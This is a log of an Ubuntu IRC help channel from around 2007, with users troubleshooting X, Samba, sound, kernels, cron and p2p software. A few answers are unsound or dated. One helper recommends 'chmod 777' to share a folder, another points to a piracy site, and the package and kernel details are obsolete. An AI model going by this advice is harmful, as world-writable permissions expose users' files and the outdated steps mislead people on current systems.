[06:05] <Itaku> daftman : even when i take it off, i can't click on next
[06:05] <n2diy> Napster: nada
[06:06] <daftman> can you show me the pciture before that screen?
[06:06] <Jon335> what is the command to reconfigure the X server from the command line?
[06:06] <flasher> hello all
[06:06] <jrib> !xconfig | Jon335
[06:06] <ubotu> Jon335: To reconfigure your X server, open a console and type "sudo dpkg-reconfigure xserver-xorg". To configure only the driver and resolution, type: "sudo dpkg-reconfigure xserver-xorg -phigh".
[06:06] <flasher> hope i'm i right place
[06:06] <un_operateur> Jon335, dpkg-reconfigure --priority low xorg xorg-server
[06:06] <fabio__|> in openoffice, is there a way to visualize the "page breaks" and "column breaks" as in MS Word we do?
[06:06] <jrib> flasher: yes, if you are looking for ubuntu support :)
[06:06] <Jon335> thanks
[06:06] <un_operateur> err, otherway around :)
[06:06] <Itaku> yes
[06:07] <Napster> i have another question though...i installed amule and it worked for a while but now it opens and closes straight away. so i uninstalled and reinstalled. still not working...is there another program i can try or acn i fix this problem?
[06:07] <Akuma_> pike_:  sorry i was away. thanks for the tip - its gives me a good idea how to handle that from now on
[06:07] <flasher> looking to find out if pcmcia slot is working or configured
[06:07] <daftman> Itaku: I think it is because you use Logical partition
[06:07] <daftman> Itaku: instead of physical
[06:07] <Itaku> oh
[06:07] <flasher> is there a command or log file that will help
[06:07] <Itaku> you think ?
[06:07] <ubunut> okey, i made a .sh-file so i can run it without doing anything hard. will this line work?
[06:07] <ubunut> okey, i made a .sh-file so i can run it without doing anything hard. will this line work?   */2 *   * * *   hc      /usr/local/bin/afraid.sh
[06:07] <daftman> Itaku: yeah, you are physically partitioning the drive
[06:07] <Vuen> Napster: sudo aptitude purge amule
[06:08] <Itaku> you think i take again gparted an put the partitions in physical ?
[06:08] <daftman> Itaku: I think logical partition is for LVM
[06:08] <un_operateur> ubunut, what was all the SHELL thingy you were fussing about earlier?
[06:08] <daftman> Itaku : yes try that
[06:08] <Vuen> Napster: purge removes the config files and clears everything. you can also do it using sudo apt-get remove --purge amule
[06:08] <Itaku> http://imagup.com/img.php?page=img&url=http://www.images-upload.com/images/1168622011_install2.png daftman
[06:08] <Itaku> ok see you later
[06:08] <mby> I am switching from edgy to feisty now. I got the error when used update-manager , so I tried upgraging with aptitude. My question is , if this was safe and I can now restart my computer now ? :)
[06:08] <Itaku> daftman : but It's quiet long to begin the live CD
[06:08] <un_operateur> ubunut, yes, that looks like a valid line in a crontab -- but make sure that  " hc      /usr/local/bin/afraid.sh" is a valid command first
[06:08] <jrib> ubunut: it should
[06:09] <Napster> after i must just reinstall normally?
[06:09] <Vuen> mby: why on earth did you upgrade to feisty? it's not even close to beta yet.
[06:09] <mrlinux> what is the linux version of net use
[06:09] <Vuen> Napster: yep
[06:09] <Vuen> mby: go to #ubuntu+1
[06:09] <jrib> ubunut: I'm assuming hc is the user and you are using /etc/crontab.  Is that correct?
[06:09] <un_operateur> mrlinux, smbmount
[06:09] <n2diy> mby: You should have asked _before_ you did the upgrade.
[06:09] <daftman> Itaku: it should be that long you don't partition anything yes I think until you start isntalling
[06:10] <Itaku> daftman : what ,??
[06:10] <daftman> Itaku: try partition with physical
[06:10] <Itaku> ok
[06:10] <Itaku> I will
[06:10] <daftman> Itaku, dont worry about Fat32
[06:11] <daftman> Itaku: you can read windows file from linux and you can write to linux drive from windows
[06:11] <Napster> that never worked...it still closes straight away
[06:12] <Bazy> Hi guys! I'm tring to set up a pptpd VPN and I'm a getting an error like "pptpd[3688] : Long config file line ignored.", I have another Ubuntu 6.06 that works just fine with the same pptpd.conf......
[06:12] <Napster> any other suggestions?
[06:12] <gh0st> hello how can i install custom splash screens?
[06:12] <un_operateur> !usplash > gh0st
[06:12] <mario> hello, how to create a network between linux and windows [sharing files/printers etc] ?
[06:12] <daftman> mario: www.ubuntuguide.org
[06:12] <n2diy> ! samba | mario
[06:12] <ubotu> mario: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[06:12] <un_operateur> !samba | mario
[06:13] <daftman> mario: that should help you install samba and set it up
[06:13] <faeryNatsuki> hello,
[06:13] <faeryNatsuki> i have some problems with sound in edgy, somebody could help me?
[06:13] <BushedCordes> mario: it is dangeruos to interact with computers running windows operating systems-
[06:13] <phrowzen> how come after upgrading to edgy.. i now cant right click and set my xmms window to always on top?
[06:13] <un_operateur> Bazy, but are the pptpd versions the same on both machines?
[06:13] <Napster> Vuen: its still not working
[06:13] <daftman> what's wrong with your sound?
[06:14] <jrib> phrowzen: what window manager are you using?
[06:14] <mrlinux> un_operateur, i need more info on the smbmount command
[06:14] <gh0st> !upsplash
[06:14] <mario> cheers
[06:14] <ubotu> Sorry, I don't know anything about upsplash - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:14] <phrowzen> jrib, gnome
[06:14] <gh0st> un_operateur: doesn't work
[06:14] <daftman> BushedCordes: No its not! if you are from *nix you have nothing to fear
[06:14] <faeryNatsuki> my problem is i get no sound using java or flash in edgy
[06:14] <gh0st> un_operateur: sorry it did
[06:14] <Xbehave> erm is anybody about knowledgable about beryl compliz?
[06:14] <faeryNatsuki> it's not a firefox related issue
[06:14] <jrib> phrowzen: are you using beryl in gnome?
[06:14] <BushedCordes> daftman: i was just kidding ;-)
[06:15] <mnoir> !beryl | Xbehave
[06:15] <ubotu> Xbehave: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl
[06:15] <un_operateur> mrlinux, google
[06:15] <mnoir> !kidding | BushedCordes
[06:15] <ubotu> BushedCordes: You may think your joke is funny, but you may confuse new users or irritate people who actually start answering your question :)
[06:15] <daftman> faeryNatsuki: ah I remember that problem
[06:15] <jrib> phrowzen: or compiz I guess.  Anything like that?
[06:15] <cokeslut> sup
[06:15] <daftman> faeryNatsuki: edgy is pretty unstable
[06:15] <regeya> !humorless
[06:15] <phrowzen> jrib, hmm no i dont believe so
[06:15] <ubotu> Sorry, I don't know anything about humorless - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:15] <BushedCordes> mario: i really did not want to confuse you. i just wanted to bash mircrosoft
[06:15] <Xbehave> i know what they are i just wonderd if there are any ubiased / argumentative comparisons
[06:15] <daftman> faeryNatsuki: try reinstalling flash and java
[06:15] <jrib> phrowzen: do other windows let you be "on top"?
[06:15] <BushedCordes> !botsnack
[06:15] <ubotu> Yum!
[06:15] <phrowzen> jrib, let me check the command i used sec
[06:15] <erUSUL> daftman: well, that's personal opinion, isn't it? ;)
[06:15] <phrowzen> jrib, yes
[06:16] <faeryNatsuki> i want to fix the sound, and googling a bit i found i need to edit /etc/asound.conf file or ~/.alsasoundrc but none of them have options! did the sound system changed from dapper to edgy?
[06:16] <phrowzen> jrib, just not xmms now.. it did last night when i was in dapper
[06:16] <faeryNatsuki> daftman i did that, but it's not the solution, i had sound before and now i have not
[06:16] <regeya> ubotu: no, humorless is when a person is completely lacking in a sense of humor, often lashing out when others attempt (occasionally with some success) to be funny
[06:16] <daftman> faeryNatsuki: no sound doesn't change but flash and java might
[06:16] <paquim> rocio
[06:16] <strigga> vuen still there_
[06:16] <paquim> ola
[06:16] <strigga> ?
[06:16] <paquim> sxsac.sdh
[06:16] <daftman> faeryNatsuki: firefox 2.0 is different
[06:17] <paquim> vfgf
[06:17] <paquim> olaaaaaaaaaaaaaaaaaaaaa
[06:17] <mario> the problem is that i can access files on the windows machine from ubuntu but i can't access them from windows (other pc)
[06:17] <erUSUL> !pt
[06:17] <ubotu> Por favor use #ubuntu-br  ou #ubuntu-pt  para ajuda em portugus. Obrigada.
[06:17] <mnoir> regeya: in a group where english may be weak and technical stuff is certainly a challenge, making jokes might not work well
[06:17] <phrowzen> jrib, i did issue this command earlier this morning though to try and get gl desktop working.. sudo apt-get install gnome-compiz-manager compiz-freedesktop compiz-freedesktop-gnome (although it still doesnt work yet. gotta fix that too)
[06:17] <paquim> ola
[06:17] <daftman> mario: check you folder permission
[06:17] <xxhell> Hey guys
[06:17] <regeya> mnoir, thank you for that multicultural lesson, I'll bear it in mind
[06:17] <mnoir> regeya: :)
[06:17] <strigga> ??
[06:18] <m_tadeu> hi everyone
[06:18] <sexcopter8000> i'm working on a very important project at uni and think it would be a good idea to backup the folder to an ftp server I have access to. is this what rsync is for? (I've heard of it but never needed/used it)
[06:18] <daftman> mario: if you set your folder to chmod 777 foldername then everyone can access it
[06:18] <m_tadeu> has anyone tryed the nforce proprietary drivers?
[06:18] <faeryNatsuki> daftman, but it0's not related to firefox, i have the problem outside firefox, in opera, seamonkey, standalone flash player, using java with swt
[06:18] <jrib> phrowzen: oh ok.  Well I'm not familiar with the changes that happened in xmms.  But I can tell you that I don't have the "on top" option either.  xmms doesn't seem to use the window manager's title bar.  It has its own.  So when you click you get its menu, not the window manager's.  The only workaround I can think of at the momoent is to use devilspie
[06:18] <un_operateur> sexcopter8000, all you need is a ftp client really -- gftp for example
[06:18] <faeryNatsuki> no sound, and i had kde sound problems before (i use gnome, but some kde apps)
[06:18] <deepsa> i got black and white wallpaper from picasa
[06:18] <phrowzen> jrib, ah ok.. well i can deal its ok
[06:18] <sexcopter8000> un_operateur: I guess, yeah. Just wondered if there's a slick automated way.
[06:18] <jrib> phrowzen: devilspie will probably work well for this.  It lets you create rules like:  any window that is "xmms", put it on top.
[06:19] <un_operateur> sexcopter8000, errm, therre are some good ftp command line clients that can be scripted (automated) ncftp for example
[06:19] <phrowzen> jrib, on a second note.. do you have an answer or can point me into a direction of how to get my gl desktop properly working? i am using the nvidia driver. just when i go into gl desktop and hit enable gl desktop, i hit apply then close or wahtever.. and if i go back in, its unchecked
[06:19] <antonioo> susi ola soy puta
[06:19] <sexcopter8000> un_operateur: ok, in that case think I'll stick to gftp =) thanks
[06:20] <antonioo> ola
[06:20] <jrib> phrowzen: hey I lied to you.  xmms' menu does have the option but it's kind of hidden.  Can you "right click" > "options" > "always on top" ?
[06:20] <daftman> faeryNatsuki: I get that problem sometimes: i think another program is still using the sound device
[06:20] <daftman> faeryNatsuki: you can check that
[06:20] <faeryNatsuki> how can i check that?
[06:20] <antonioo>  k me ables en spanis  k no se inglis
[06:20] <jrib> phrowzen: you can try #ubuntu-xgl, I'm not sure about that
[06:20] <mnoir> !es | antonioo
[06:20] <daftman> faeryNatsuki: check the task manager
[06:20] <ubotu> antonioo: Para Espaol por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendrn mas ayuda.
[06:20] <phrowzen> jrib, yep.. certainly. that does work, thank you :).. i just used it the other way before, but this works too
[06:20] <phrowzen> jrib, alright, thanks
[06:20] <daftman> or in the command line: ps -e
[06:21] <un_operateur> is there an XMMS option that's goes like "always hidden"? :)
[06:21] <faeryNatsuki> i'll see daftman
[06:21] <daftman> faeryNatsuki: you migh have some zombie process hoggin up the sound device
[06:21] <mario> the thing im trying to share is the printer and i already set it as shared
[06:21] <cappiz> is it possible to have a kind of encryption, which allows the home folder to be mounted on login... several users on same dev
[06:21] <cappiz> ?
[06:22] <Napster> hi. my amule, when i start it, pops up and closes imediatly...wat can i do?
[06:22] <daftman> mario: have you check out www.ubuntuguide.org?
[06:22] <mnoir> !elaborate | cappiz
[06:22] <gameover> hi everyone...
[06:22] <ubotu> cappiz: Please elaborate, your question or issue may not seem clear or detailed enough for people to help you. Please give more detailed information, errors, steps, and possibly configuration files (use the !pastebin to avoid flooding the channel)
[06:22] <YayBuntu> Is there any kind of program with a GUI interface that works like Netlimiter, just for Ubuntu?
[06:22] <gameover> some help printing plz.... foomatic-rip failed"
[06:22] <faeryNatsuki> daftman: but i have the other sounds working
[06:22] <daftman> !ask | mario
[06:22] <ubotu> mario: Don't ask to ask a question. Just ask your question :)
[06:22] <un_operateur> cappiz, you can have encrypted file systems .. and have /home encrypted ..sure
[06:22] <faeryNatsuki> gnome have sound and amarok is working now
[06:23] <faeryNatsuki> and flash 7 works through aoss sound wrapper
[06:23] <daftman> faeryNatsuki: yea I know, it is annoying. I can suggest you to reinstall java and flash may be?
[06:23] <mario> daftman yes check the guide
[06:23] <daftman> faeryNatsuki: you can't watch youtube year?
[06:23] <cappiz> un_operateur, but will it be mounted when a user logs in
[06:23] <mario> checked*
[06:23] <cappiz> ?
[06:24] <daftman> mario: so what is the problem?
[06:24] <cappiz> i want the home folders to only be mounted when they are logged in.
[06:24] <daftman> mario: you can't share the file?
[06:24] <un_operateur> cappiz, if you have an entry for the filesystem in /etc/fstab .. it will be mounted when the computer is started up before any of the users log on
[06:24] <faeryNatsuki> i can see youtube and i get sound using flash 7 plugin, but switching to flash plugin 9 crashes
[06:24] <cappiz> un_operateur, thats not what i want ;D
[06:24] <faeryNatsuki> java has no sound, and kde-apps sound often works... often don't works
[06:24] <mario> i go to system > admin > printing set the printers as shared
[06:24] <daftman> faeryNatsuki: ah then its flash 9
[06:24] <daftman> faeryNatsuki it is still in beta mode
[06:25] <mario> but they don't show up in the network (windows)
[06:25] <un_operateur> cappiz, ok and why not?
[06:25] <cappiz> i only want the home folders to be mounted when they are logged in on the system
[06:25] <daftman> mario: printer share in system admin only share through linux machine
[06:26] <daftman> mario: in order for you to share through windows network you need to activate it in samba
[06:26] <un_operateur> cappiz, well, errm, if it's a desktop -- you start a system to log on to it and use it right -- whats wrong with having a disk mounted before the user logs on .. it saves some hassle
[06:26] <Zelda> hello everyonje.
[06:26] <Zelda> er everyone
[06:26] <daftman> mario: check samba.conf in /etc/samba/
[06:26] <faeryNatsuki> but flash 9 worked before
[06:26] <faeryNatsuki> weird (T_T)
[06:26] <Zelda> Can someone help me remove icons off the desktop?
[06:27] <cappiz> yeah wel... im paranoid :P
[06:27] <daftman> faeryNatsuki: I don't think flash 9 is a stable yet. I am still using flash 7
[06:27] <faeryNatsuki> Zelda: what do you mean with remove icons?
[06:27] <cyphase> Zelda: which icons?
[06:27] <un_operateur> cappiz, normal users cannot normally mount disks (atleast not so that they can be shared and used by multiple users) .. and if the filesystem is encrypted, you have nothing to worry about ..err, why else would you encrypt a file system?
[06:27] <asdf_> how do I get a newer kernel, like 2.6.19 rather than use 2.6.17 ?
[06:27] <faeryNatsuki> me too, but we often need flash 9 to work
[06:27] <Napster> my amule is still not working...does anyone have any suggestions on wat i can do?
[06:27] <faeryNatsuki> Zelda?
[06:28] <Zelda> I have two icons on my desktop that when I installed ubuntu, I dont want. I dont know how to get rid of them. The icons are Computer, and My Home
[06:28] <daftman> faeryNatsuki: then you can kick adobe's ass
[06:28] <cappiz> but can different users use the same encrypted device?
[06:28] <faeryNatsuki> Napster: maybe install emule through wine, works better than amule
[06:28] <cappiz> like /home/cappiz /home/un_operateur
[06:28] <Napster> i dont want wine...it slows down the performance of the machine
[06:28] <un_operateur> cappiz, yes, if it is mounted by root via /etc/fstab .. not otherwise
[06:28] <cyphase> Zelda: by default there are no icons on the desktop
[06:28] <faeryNatsuki> Zelda: do you mean you don't want any icon in your deskop?
[06:28] <Zelda> !ati
[06:28] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[06:28] <faeryNatsuki> or just remove them?
[06:29] <daftman> mario: http://ubuntuguide.org/wiki/Ubuntu_Edgy#How_to_print_on_remote_Ubuntu_machine_from_another_Ubuntu_machine
[06:29] <Akuma_> Zelda: go in gconf-editor -> apps -> nautilus ->desktop
[06:29] <cyphase> Zelda: but you can remove Computer and Home
[06:29] <Zelda> Well, I have Linux Mint Bea
[06:29] <cyphase> Zelda: what Akuma_ said
[06:29] <faeryNatsuki> Napster: emule through wine is faster than amule itself
[06:29] <cappiz> if both those folders is located at the same device... they wil both get mounted at the same time?
[06:29] <Zelda> cyphase: thanks
[06:29] <Vegeta^> When I plugged an USB memory key in my computer, it could be automatically detected and could be accessed as normal user, but now it needs a root user to mount and acces it and be able to copy/write to it. How can I change it back to the way it was before?
[06:29] <cyphase> Zelda: uncheck them all
[06:29] <mnoir> Zelda: this is #ubuntu - not #linuxmint
[06:29] <tim167> how do I get ls to show the complete path for each file listed ?
[06:29] <bronze_0_1> Vegeta^: what did u change on your system?
[06:29] <salah__> any good music library programs for ubuntu? rhythmbox is any good
[06:30] <faeryNatsuki> Zelda, look each one, you can disable each icon, or disable the desktop drawing feature,
[06:30] <bronze_0_1> tim167: it cant
[06:30] <un_operateur> cappiz, it's not the folders that will be mounted .. rather the disk that they reside on .. and since a device can only be mounted at once, it will happen "at the same time" :)
[06:30] <cyphase> salah__: are you asking about rhytmbox, or did you mean to say it isn't any good?
[06:30] <cyphase> rhythmbox*
[06:30] <faeryNatsuki> Zelda if you disable the draw desktop you have things in the Desktop folder, but you have no icons in the desktop
[06:30] <tim167> bronze_0_1: any command that can ?
[06:30] <cappiz> thats what i thought :)
[06:30] <Jmh0403> Can someone help me install mplayer?
[06:30] <bronze_0_1> tim you would need to use something like find for that
[06:30] <k010> if i compile a 2.6.19 kernel and patch it with 2.6.20-rc4 would it be able to run kvm??
[06:30] <salah__> cyphase, it isn't good.. I don't like it at all, so is there any others?
[06:30] <Napster> i dont like emule though. wat about limewire?
[06:30] <Napster> does that work?
[06:30] <tim167> bronze_0_1: ok!
[06:30] <asdf_> how do I run a more updated kernel on ubuntu? apt-cache search kernel | grep 2.6 only shows tthe .17 series
[06:30] <un_operateur> k010, you might ruin the kernel if you do that
[06:30] <salah__> Napster, yes
[06:30] <Zelda> hrmm. I think I dont know.
[06:30] <cyphase> salah__: amarok, listen, banshee, and others
[06:31] <mnoir> faeryNatsuki: zelda is not  running ubuntu so your answer might not be the same for her...
[06:31] <tim167> salah__: amarok
[06:31] <salah__> cyphase, thanks
[06:31] <cyphase> salah__: but what don't you like about rhytmbox
[06:31] <k010> un_operateur, what do u mean?
[06:31] <faeryNatsuki> Napster: we have her working the emule in wine in an old machine, a Dell Optiplex GX1, 450MHz processor and it works very well
[06:31] <cyphase> rhythmbox*
[06:31] <Zelda> And Linux Mint is Ubuntu with added codecs.
[06:31] <cappiz> then ill make a 10GB file and mount that instead :)
[06:31] <k010> Napster, have u tryd frostwire
[06:31] <mnoir> Zelda: and possibly other changes
[06:31] <salah__> cyphase, the options are very little, and the way it stores music + I want to rate my music
[06:31] <Zelda> possible
[06:31] <foobarian> cyphase, my biggest issue with it is no filesystem view, and no tags
[06:32] <un_operateur> k010, don't apply patches to applications they arent meant for .. in your case dont patch 2.6.19 with 2.6.20-rc4
[06:32] <Vegeta^> bronze_0_1: Actually I didn't change anything, only that I accidentally closed the loading window, that appears when the device is plugged in...
[06:32] <cyphase> salah__: you can rate your music in rhythmbox, just so you know
[06:32] <mnoir> Zelda: so the support here COULD be wrong :)
[06:32] <Zelda> its based on ubuntu 6.10(edgy) though
[06:32] <salah__> cyphase, how?
[06:32] <mnoir> Zelda: so?
[06:32] <bronze_0_1> Vegeta^:  hmm. no idsea here
[06:32] <faeryNatsuki> Napster Optiplex user says me emule starts three or four times faster than emule, but if you like somethjng different to emule/amule, limeware is OK, a little slow, because it's java
[06:32] <k010> un_operateur, i thought thats how u patch judging from the guide im reading
[06:33] <faeryNatsuki> sorry emule faster than amule
[06:33] <k010> un_operateur, here it says u shud not patch kernel say 2.6.19.1 with 2.6.20-rc4
[06:33] <cyphase> salah__: you could open the properties dialog of the song, or you could add a ratings column ivia the preferences dialog
[06:33] <cyphase> salah__: or from the music-applt
[06:33] <k010> un_operateur, but 2.6.19 its fine
[06:33] <un_operateur> k010, errrm, thats what i said too, no?
[06:33] <BushedCordes> faeryNatsuki: gtk-gnutella 4ever
[06:33] <cyphase> music-applet*
[06:33] <mehdi> salut
[06:34] <mehdi> hello every body
[06:34] <k010> un_operateur, im gonna patch 2.6.19 with 2.6.20-rc4
[06:34] <BushedCordes> mehdi: slt
[06:34] <un_operateur> k010, errm, well, it might work but might not work either .. you  can try it out by all means but "you have been warned"
[06:34] <bronze_0_1> tim167: look for the %P or %p or %H stuff in the printf function for find
[06:34] <faeryNatsuki> i tried gnutella, but that kind of networks are really slow, a long queue for a few bytes :(
[06:34] <daftman> k010: lol make sure you have a back up
[06:34] <k010> un_operateur,  might as well hey. thx for the warning
[06:35] <cyphase> faeryNatsuki: gnutella for small files, bittorrent for bigger files
[06:35] <faeryNatsuki> Napster... what about torrents?
[06:35] <cyphase> faeryNatsuki: works for me
[06:35] <tim167> bronze_0_1: thanks , I was about to ask :)
[06:35] <bronze_0_1> long man page isn't it? :-)
[06:35] <Napster> where can i get frostwire?
[06:35] <Napster> dont like torrents
[06:35] <k010> un_operateur, it might fix some of the acpi issues i been having
[06:35] <daftman> google
[06:35] <faeryNatsuki> i used torrent for discographyes and big collections, works very good
[06:35] <Wickentree> I need help concerning the GRUB boot loader
[06:36] <tim167> bronze_0_1: my favorite evening literature ;)
[06:36] <mnoir> !frostwire | Napster
[06:36] <ubotu> Napster: frostwire is a totally open source version of Limewire.  For installation help, please see https://help.ubuntu.com/community/FrostWire
[06:36] <bronze_0_1> heh.
[06:36] <k010> Wickentree, install grub to ur boot partiton
[06:36] <daftman> Wickentree: what is the problem?
[06:36] <faeryNatsuki> Napster, torrents are the fastest p2p technology currently available, no more than 2 minutes waiting for start a download, and the download don't stop until you complete the torrent
[06:36] <k010> Wickentree, or say install grub /dev/hda
[06:36] <un_operateur> k010, well, the way i see it .. the changes of code are most radical within kernel development .. major changes happen even in the smallest revisions .. and given that patches change code at specific locations within the source, you might be breaking stuff
[06:37] <knight> can i replant /usr to any other partition?
[06:37] <knight> can i replant /usr to any other partition?
[06:37] <neghsmoke> why would fglrxinfo say xlib: extension "xfree86-dri missing on display"
[06:37] <mnoir> knight: what do you mean?
[06:37] <un_operateur> k010, in this instance it is almost like applying a patch written for application A  on application B
[06:37] <Napster> wat torrent program u suggest and where can i get the torrents from?
[06:38] <knight> ive got less space in / , so i want to change /usr directory to save space
[06:38] <k010> un_operateur, isnt the other way around
[06:38] <k010> un_operateur, ur patching 2.6.19 with 2.6.20
[06:38] <mnoir> knight: so you will mount a new filesystem at /usr?
[06:38] <knight> mnoir:  ive got less space in / , so i want to change /usr directory to save space
[06:38] <un_operateur> k010, bahh, you get the point ..
[06:38] <Zaggynl> Anyone knows if there is an IRC channel for Ftd4Linux ?
[06:38] <Bartek> hey guys. sorry for bothering with stupid questions but... do I need something in kernel in order to connect to a camera via usb ?
[06:39] <k010> un_operateur,  well its dled so i tell u how it goes
[06:39] <faeryNatsuki> Napster, for torrents you have two options, look for then in placeslike thepiratebay.org or look for torrent trackers ant communities, they're specialiced in what you want and often have rules to warranty people is sharing files
[06:39] <knight> mnoir: just to edit fstab?
[06:39] <faeryNatsuki> then look for example for anime tracker, and you find some
[06:40] <Napster> wat torrent manager though?
[06:40] <mnoir> knight: no - it is more complicated - /usr is a very important fdir so you will need to copy and remount, from another os like live cd
[06:40] <mnoir> knight: wait a sec
[06:40] <paitart> how do i send faxes on ubuntu 6.06?
[06:40] <faeryNatsuki> i use utorrent trough wine, but i used azureus too and it is a good torrent client
[06:40] <daftman> Bartek: no it depends if your camera is supported
[06:40] <k010> Napster, use bittyrant
[06:40] <knight> mnoir: is it ok if i start a new partition for /usr ext3?
[06:40] <k010> i heard it supposed to be faster
[06:41] <Napster> where cani get it from?
[06:41] <Bartek> daftman:: it looks like gphoto2 supports it but either Im wrong or I have something messed up in the system
[06:41] <k010> Napster, google bittyrant
[06:42] <juan> how do i set up a dilup connection?
[06:42] <faeryNatsuki> Napster: or search in synaptic about torrent clients, maybe there's some packages that help you
[06:42] <Bartek>  gphoto2 -a  shows: Abilities for camera: Olympus C-370Z
[06:42] <itanshi> well hello, i still have wifi problems despite this: http://paste.ubuntu-nl.org/1324/
[06:42] <mnoir> knight: start by reading this: http://ubuntuforums.org/showthread.php?t=73981
[06:42] <YayBuntu> Would a SATA-USB converter work under Ubuntu?
[06:42] <faeryNatsuki> i have to go
[06:42] <Bartek> daftman:: it is a different model, but it is present. does it matter?
[06:42] <mnoir> knight: yes is ok but READ FIRST
[06:42] <knight> mnoir: thanks a lot
[06:43] <mnoir> knight: then ask questions - this can make your system not boot
[06:43] <knight> mnoir: thanks a lot
[06:43] <mnoir> :)
[06:43] <daftman> Bartek: no i don't think it matters: camera is basically known as a flash drive anyway
[06:43] <faeryNatsuki> daftman: thanks fort the help, i'll try the asound.conf solution bwefore and after i'll try the java and flash reinstall if nothing works ;)
[06:43] <psynaps3> hi, everytime i update /etc/resolv.conf with my isp's dns servers and reboot, network manager (wireless) overwrites it with my router's ip address. how can i stop this from happening?
[06:43] <KimmoA> Wow... lots of people in here.
[06:43] <Bartek> daftman:: first error in debug mode says:  16.040899 context(0): PTP Protocol error, response expected
[06:44] <YayBuntu> Have anyone tried one of the converters to plug a SATA harddisk into a USB port? Does it work in Ubuntu?
[06:44] <mneptok> KimmoA: i know your nick ... i think
[06:44] <Bartek> daftman:: and little bit earlier:   16.040816 gphoto2-port(2): Could only read 13 out of 512 byte(s)
[06:44] <mneptok> KimmoA: DALmac?
[06:46] <itanshi> so wifi problems despite: http://paste.ubuntu-nl.org/1324/
[06:46] <itanshi> edgy eft
[06:46] <KimmoA> mneptok: DALmac?
[06:46] <paitart> how do i send faxes on ubuntu 6.06?
[06:46] <tim167> I still cant get "find" to do what i need: list all files in a directory as file names, each preceded by the complete path they are in...
[06:46] <mneptok> KimmoA: thought i had seen your nick there long ago. pardon.
[06:47] <Bartek> anyone?
[06:47] <Bartek> what can be the problem here?  16.040816 gphoto2-port(2): Could only read 13 out of 512 byte(s)
[06:48] <knight> mnoir: the site is related to a laptop installed hoary will it do with my desktop?
[06:49] <asdf_> how do I update my ubuntu kernel to 2.6.19 ?
[06:49] <nowhere> hi, after installing mysql and phpmyadmin i found there are two databases called information schema and mysql. Can they be safely removed? Or are they required for things to work properly?
[06:49] <mnoir> knight: the method for moving a dir to a filesystem should be the same :)
[06:49] <j3di> my cron is running from utc instead of the local clock.. why1?!?
[06:49] <asdf_> (or something newer)
[06:49] <kane77> hi.. what do you use for internet radios??
[06:49] <mnoir> knight: it only needs very old commands
[06:49] <k010> un_operateur, sry to touble u again but is there someway where i can find details on the setting with make menuconfig?
[06:50] <itanshi> nowhere - my guess is that they are needed, but i'm just waiting for help like you
[06:50] <tim167> ah I found another solution: locate does exactly that, but its very slow...
[06:50] <nowhere> itanshi: can you repeat your question, maybe I know the answer.. Don't bother if it's a complicated one :)
[06:50] <itanshi> k
[06:50] <itanshi> http://paste.ubuntu-nl.org/1324/ wifi not connecting
[06:50] <itanshi> edgy eft
[06:51] <mnoir> knight: here is another article http://linux.about.com/od/linux101/l/blnewbie4_2_12.htm
[06:51] <nowhere> itanshi: Maybe it has to do with WPA, are you using it?
[06:51] <j3di> is there a way to change cron so it uses the local time instead of UTC?
[06:51] <mnoir> knight: you should read several to really understand so you do not ruin your system
[06:51] <itanshi> using wep
[06:52] <daftman> Bartek
[06:52] <daftman> You plug the camera in and it doesn't deteck for you?
[06:52] <itanshi> wep is default right?
[06:52] <nowhere> itanshi: I really don't know, sorry. Had some trouble with it myself. One of the reason I don't use ubuntu for desktop. WEP isn't really safe......
[06:52] <Bartek> daftman:: it does detect, it popups and stuff
[06:52] <itanshi> i know of that security, just want a connection
[06:52] <pollywog> when I try to add a key with apt-key I get this:
[06:52] <pollywog> gpg: no ultimately trusted keys found
[06:52] <pollywog> OK
[06:52] <Bartek> daftman:: I am just unable to connect to the camera with digikam
[06:52] <neghsmoke> would anyone be willing to take a look at my xorg log file and try to help me figure out why my fglrxinfo still shows mesa group?
[06:53] <pollywog> is there something I can do about it?
[06:53] <Bartek> daftman:: and I dont know why :(
[06:53] <daftman> Bartek: so it pops up like a folder
[06:53] <Bartek> daftman:: yes
[06:53] <ubuntu> hi
[06:53] <nowhere> itanshi: Ubuntu has WEP for default but if you are not sure you might want to check the other end...
[06:53] <itanshi> k
[06:53] <ubuntu> i m india
[06:53] <daftman> digikam?
[06:53] <itanshi> well thanks, i'll keep searching
[06:53] <daftman> Bartek: can you browse the folder?
[06:54] <tim167> is it correct that slocate only looks in the cwd when doing slocate *.jpg ??
[06:54] <nowhere> itanshi: Btw I found my answer, they can be used as extra instructions.
[06:54] <Bartek> daftman:: yes, I can in nautilus
[06:54] <pradeepnnv> where will synaptic package manager store the downloaded files
[06:54] <jedrick> how can i mount my windows drive automatically on start up boot?
[06:54] <daftman> Bartek: then just copy files you need onto the hard-drive
[06:55] <n2diy> pradeepnnv: locate *.deb will tell you.
[06:55] <daftman> jedrick: it should do that as default
[06:55] <erUSUL> !ntfs | jedrick
[06:55] <ubotu> jedrick: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse
[06:55] <knight> mnoir: thank u anyway i think its a fierce step
[06:55] <pradeepnnv> thank u n2diy bye bye
[06:55] <Bartek> daftman:: I know, I can do that, but digikam offers thumbnails right on the camera, and when you have 200+ copying takes time
[06:55] <Bartek> daftman:: I'd like to be able to connect via digikam
[06:56] <n2diy> pradeepnnv: nada
[06:56] <jedrick> !ntfs-3g
[06:56] <ubotu> ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but is still BETA software, so use it with caution. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)
[06:56] <daftman> Bartek: ah the I can't help you eheheh I haven't used digikam
[06:56] <mnoir> knight: it is a hazard but sometimes you need to do it :)
[06:56] <tim167> is it correct that slocate only looks in the cwd when doing "slocate *.jpg" , while "slocate a*.jpg" searches the complete database...?
[06:56] <daftman> Bartek: Doesn't nautilus generate the thumnail?
[06:57] <neghsmoke> Anyone knowledgeable about video card installations? i've tried the how to guides and methods, but it still shows mesa project in fglrxinfo
